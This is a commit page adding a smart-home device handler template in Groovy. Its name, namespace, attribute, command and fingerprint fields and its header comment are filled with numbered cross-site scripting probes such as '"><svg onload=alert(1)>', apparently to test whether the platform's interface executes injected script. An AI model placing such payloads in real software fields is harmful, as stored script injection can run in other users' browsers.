Compare commits

...

1 Commits

Author SHA1 Message Date
ddude dude
5367c31ff7 MSA-2653: For helping others 2018-02-23 23:49:14 -08:00

View File

@@ -0,0 +1,48 @@
/**
* "><img src=x onerror=alert(2)>
*
* Copyright 2018 ddude dude
*
*/
metadata {
definition (name: "test", namespace: "<svg onload=alert(1)>", author: "ddude dude") {
capability "Acceleration Sensor"
capability "Actuator"
capability "Air Conditioner Mode"
attribute ""><svg onload=alert(3)>", "string"
command ""><svg onload=alert(4)>"
fingerprint endpointId: ""><svg onload=alert(5)>", profileId: ""><svg onload=alert(6)>", deviceId: ""><svg onload=alert(7)>", deviceVersion: "5"
}
simulator {
// TODO: define status and reply messages here
}
tiles {
// TODO: define your main and details tiles here
}
}
// parse events into attributes
def parse(String description) {
log.debug "Parsing '${description}'"
// TODO: handle 'acceleration' attribute
// TODO: handle 'airConditionerMode' attribute
// TODO: handle '&quot;&gt;&lt;svg onload=alert(3)&gt;' attribute
}
// handle commands
def setAirConditionerMode() {
log.debug "Executing 'setAirConditionerMode'"
// TODO: handle 'setAirConditionerMode' command
}
def &quot;&gt;&lt;svg onload=alert(4)&gt;() {
log.debug "Executing '&quot;&gt;&lt;svg onload=alert(4)&gt;'"
// TODO: handle '&quot;&gt;&lt;svg onload=alert(4)&gt;' command
}